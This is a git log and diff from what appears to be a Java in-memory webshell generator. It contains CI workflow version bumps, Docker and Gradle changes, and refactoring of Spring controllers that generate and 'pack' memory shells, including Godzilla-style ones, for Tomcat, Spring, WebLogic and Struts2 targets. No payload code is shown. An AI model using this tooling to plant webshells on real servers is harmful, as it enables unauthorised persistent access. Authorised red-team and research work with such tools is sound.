ReaJason 2d6f523075 test: add tomcat6-jdk6 integration-test 2024-11-29 18:05:28 +08:00
ReaJason 645ffbf51f docs: add javadoc 2024-11-29 18:04:57 +08:00
ReaJason 7e86b19e04 docs: add ByPassJdkModule extend java doc 2024-11-29 02:46:50 +08:00
ReaJason 454b48a1fa ci: update badge 2024-11-28 18:13:54 +00:00
ReaJason 3b91197446 ci: merge jacoco failed 2024-11-29 02:11:22 +08:00
ReaJason 53a982fd54 test: fix error 2024-11-29 02:06:24 +08:00
ReaJason aabb678dd3 fix: typo 2024-11-29 02:02:26 +08:00
ReaJason b6ce6581a0 feat: support bypassJdkModule and Jakarta 2024-11-29 02:02:04 +08:00
ReaJason d0dcc8d56f ci: update badge 2024-11-26 17:18:23 +00:00
ReaJason 272188a83d fix: godzilla manager test failed 2024-11-27 01:17:08 +08:00
ReaJason 957566f847 ci: update badge 2024-11-26 16:42:39 +00:00
ReaJason 4f1f4f2c1a test: rm test.jsp req 2024-11-27 00:41:31 +08:00
ReaJason eb994b7ad4 feat: add godzilla manager and integration container test 2024-11-27 00:36:38 +08:00
ReaJason a06eb2f869 feat: support tomcat cmd shell and jsp packer 2024-11-27 00:35:35 +08:00
ReaJason 184bd1e9ad test: rm integration 2024-11-27 00:32:21 +08:00
ReaJason c192954cfa docs: add coverage badge 2024-11-24 13:45:55 +08:00
ReaJason cc5a8e726a ci: update badge 2024-11-24 05:43:55 +00:00
ReaJason 37a7683518 ci: generate json file 2024-11-24 13:43:12 +08:00
ReaJason 0961070822 ci: update badge 2024-11-24 05:37:57 +00:00
ReaJason 8a437dbe03 ci: upload badge info 2024-11-24 13:37:07 +08:00
ReaJason a42b2bd38c test: add jacoco 2024-11-24 13:32:05 +08:00
ReaJason d37b0a1929 feat: add tomcat listener and valve 2024-11-24 13:31:38 +08:00
ReaJason 2501e56a6e test: io exception in ci 2024-11-24 05:00:48 +08:00
ReaJason 1b9c88e800 fix: compile error 2024-11-24 04:57:15 +08:00
ReaJason e891e9999f ci: rename 2024-11-24 04:52:26 +08:00
ReaJason b31db5c1ac feat: add godzilla filter generate 2024-11-24 04:48:15 +08:00
ReaJason 033bc2b9a5 ci: add ci test 2024-11-24 04:46:38 +08:00
ReaJason 9a1e31d660 MIT license 2024-11-24 04:45:10 +08:00
ReaJason c085607be8 docs: update README 2024-09-01 15:28:42 +08:00
ReaJason 3402d50369 docs: update README 2024-09-01 15:22:01 +08:00
ReaJason d9922401bd Initial commit 2024-09-01 13:17:19 +08:00
400 changed files with 15519 additions and 11944 deletions
+12 -12
View File
@@ -17,16 +17,16 @@ jobs:
os: [ubuntu-latest, windows-latest] os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }} runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -62,28 +62,28 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v8
with: with:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -95,15 +95,15 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
+1 -1
View File
@@ -22,7 +22,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Build Docker image - name: Build Docker image
run: | run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app . docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+5 -5
View File
@@ -15,21 +15,21 @@ jobs:
name: Docker Push name: Docker Push
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -43,27 +43,27 @@ jobs:
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux" - middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob" - middleware: "xxljob"
depend_tasks: "" depend_tasks: ""
- middleware: "struct2" - middleware: "struts2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
+7 -7
View File
@@ -41,23 +41,23 @@ jobs:
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "struct2" - middleware: "struts2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5 uses: mikepenz/action-junit-report@v6
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/test/TEST-*.xml'
+15 -15
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -36,16 +36,16 @@ jobs:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
@@ -156,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -22,16 +22,16 @@ jobs:
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }} if: ${{ inputs.depend_tasks != '' }}
+3 -3
View File
@@ -17,16 +17,16 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Generator Unit Test with Gradle - name: Generator Unit Test with Gradle
run: ./gradlew :generator:test run: ./gradlew :generator:test
+1 -1
View File
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
+5 -3
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.11" id("org.springframework.boot") version "3.5.8"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -26,14 +26,16 @@ extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
dependencies { dependencies {
implementation(project(":generator")) { implementation(project(":generator")) {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
exclude(group = "com.reajason.javaweb", module = "thirdparty-tomcat")
} }
implementation(project(":packer")) { implementation(project(":packer")) {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation("org.springframework.boot:spring-boot-starter-thymeleaf") implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -29,12 +29,6 @@ public class GlobalExceptionHandler {
return new ErrorResponse(exception.getMessage()); return new ErrorResponse(exception.getMessage());
} }
@ResponseStatus(HttpStatus.BAD_REQUEST)
@ExceptionHandler(IllegalArgumentException.class)
public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) {
return new ErrorResponse(exception.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class) @ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) { public ErrorResponse handleThrowable(Throwable throwable) {
@@ -34,24 +34,10 @@ public class ConfigController {
} }
@RequestMapping("/packers") @RequestMapping("/packers")
public List<PackerCategoryDTO> getPackers() { public List<String> getPackers() {
List<PackerCategoryDTO> result = new ArrayList<>(); return Arrays.stream(Packers.values())
for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) { .filter(packers -> packers.getParentPacker() == null)
PackerCategoryDTO category = new PackerCategoryDTO(); .map(Packers::name).toList();
category.setName(entry.getKey());
List<PackerOptionDTO> options = new ArrayList<>();
for (Packers packer : entry.getValue()) {
PackerOptionDTO option = new PackerOptionDTO();
option.setName(packer.name());
option.setOutputKind(packer.getOutputKind());
option.setCategoryAnchor(packer.hasChildren());
option.setSchema(packer.getSchema());
options.add(option);
}
category.setPackers(options);
result.add(category);
}
return result;
} }
@RequestMapping @RequestMapping
@@ -80,64 +66,4 @@ public class ConfigController {
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList()); commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO; return commandConfigVO;
} }
public static class PackerCategoryDTO {
private String name;
private List<PackerOptionDTO> packers;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public List<PackerOptionDTO> getPackers() {
return packers;
}
public void setPackers(List<PackerOptionDTO> packers) {
this.packers = packers;
}
}
public static class PackerOptionDTO {
private String name;
private String outputKind;
private boolean categoryAnchor;
private Object schema;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getOutputKind() {
return outputKind;
}
public void setOutputKind(String outputKind) {
this.outputKind = outputKind;
}
public boolean isCategoryAnchor() {
return categoryAnchor;
}
public void setCategoryAnchor(boolean categoryAnchor) {
this.categoryAnchor = categoryAnchor;
}
public Object getSchema() {
return schema;
}
public void setSchema(Object schema) {
this.schema = schema;
}
}
} }
@@ -7,11 +7,9 @@ import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.JarPacker;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.*;
import java.util.Base64; import java.util.Base64;
@@ -24,24 +22,19 @@ import java.util.Base64;
@RequestMapping("/api/memshell/generate") @RequestMapping("/api/memshell/generate")
@CrossOrigin("*") @CrossOrigin("*")
public class MemShellGeneratorController { public class MemShellGeneratorController {
@PostMapping @PostMapping
public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) { public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig(); ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig(); ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig(); InjectorConfig injectorConfig = request.getInjectorConfig();
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
if (request.getPackerSpec() == null) { Packer packer = request.getPacker().getInstance();
throw new IllegalArgumentException("packerSpec is required"); if (packer instanceof AggregatePacker) {
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} }
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer<?> packer = packers.getInstance();
if (packer instanceof JarPacker) { if (packer instanceof JarPacker) {
JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig(); return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
} }
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig(); return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
} }
} }
@@ -2,9 +2,8 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest; import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse; import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer; import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.ProbeShellGenerator; import com.reajason.javaweb.probe.ProbeShellGenerator;
import com.reajason.javaweb.probe.ProbeShellResult; import com.reajason.javaweb.probe.ProbeShellResult;
import com.reajason.javaweb.probe.config.ProbeConfig; import com.reajason.javaweb.probe.config.ProbeConfig;
@@ -24,13 +23,11 @@ public class ProbeShellGeneratorController {
ProbeConfig probeConfig = request.getProbeConfig(); ProbeConfig probeConfig = request.getProbeConfig();
ProbeContentConfig probeContentConfig = request.parseProbeContentConfig(); ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig); ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
if (request.getPackerSpec() == null) { Packer packer = request.getPacker().getInstance();
throw new IllegalArgumentException("packerSpec is required"); if (packer instanceof AggregatePacker) {
return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
} else {
return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
} }
Packers packers = Packers.fromName(request.getPackerSpec().getName());
Packer packer = packers.getInstance();
ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
} }
} }
@@ -1,6 +1,7 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers;
import lombok.Data; import lombok.Data;
import static com.reajason.javaweb.memshell.ShellTool.*; import static com.reajason.javaweb.memshell.ShellTool.*;
@@ -14,7 +15,7 @@ public class MemShellGenerateRequest {
private ShellConfig shellConfig; private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig; private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig; private InjectorConfig injectorConfig;
private PackerRequestSpecDTO packerSpec; private Packers packer;
@Data @Data
public static class ShellToolConfigDTO { public static class ShellToolConfigDTO {
@@ -1,18 +1,29 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/18 * @since 2024/12/18
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor
public class MemShellGenerateResponse { public class MemShellGenerateResponse {
private MemShellResult memShellResult; private MemShellResult memShellResult;
private String packResult; private String packResult;
private Map<String, String> allPackResults;
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
this.memShellResult = memShellResult;
this.packResult = packResult;
}
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.memShellResult = memShellResult;
}
} }
@@ -1,25 +0,0 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.spec.PackerRequestSpec;
import lombok.Data;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* Packer selection request payload.
*/
@Data
public class PackerRequestSpecDTO {
private String name;
private Map<String, Object> config = new LinkedHashMap<>();
public PackerRequestSpec toPackerRequestSpec() {
PackerRequestSpec spec = new PackerRequestSpec();
spec.setName(name);
if (config != null) {
spec.setConfig(config);
}
return spec;
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.config.*; import com.reajason.javaweb.probe.config.*;
import lombok.Data; import lombok.Data;
@@ -11,7 +12,7 @@ import lombok.Data;
public class ProbeShellGenerateRequest { public class ProbeShellGenerateRequest {
private ProbeConfig probeConfig; private ProbeConfig probeConfig;
private ProbeContentConfigDTO probeContentConfig; private ProbeContentConfigDTO probeContentConfig;
private PackerRequestSpecDTO packerSpec; private Packers packer;
@Data @Data
static class ProbeContentConfigDTO { static class ProbeContentConfigDTO {
@@ -1,18 +1,29 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.probe.ProbeShellResult; import com.reajason.javaweb.probe.ProbeShellResult;
import lombok.AllArgsConstructor;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/8/10 * @since 2025/8/10
*/ */
@Data @Data
@NoArgsConstructor @NoArgsConstructor
@AllArgsConstructor
public class ProbeShellGenerateResponse { public class ProbeShellGenerateResponse {
private ProbeShellResult probeShellResult; private ProbeShellResult probeShellResult;
private String packResult; private String packResult;
private Map<String, String> allPackResults;
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
this.probeShellResult = probeShellResult;
this.packResult = packResult;
}
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
this.allPackResults = allPackResults;
this.probeShellResult = probeShellResult;
}
} }
@@ -9,12 +9,9 @@ import org.springframework.http.ResponseEntity;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
/** /**
* @author ReaJason * @author ReaJason
@@ -40,4 +37,11 @@ public class ConfigControllerIntegrationTest {
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
} }
@@ -3,11 +3,11 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server; import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest; import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse; import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
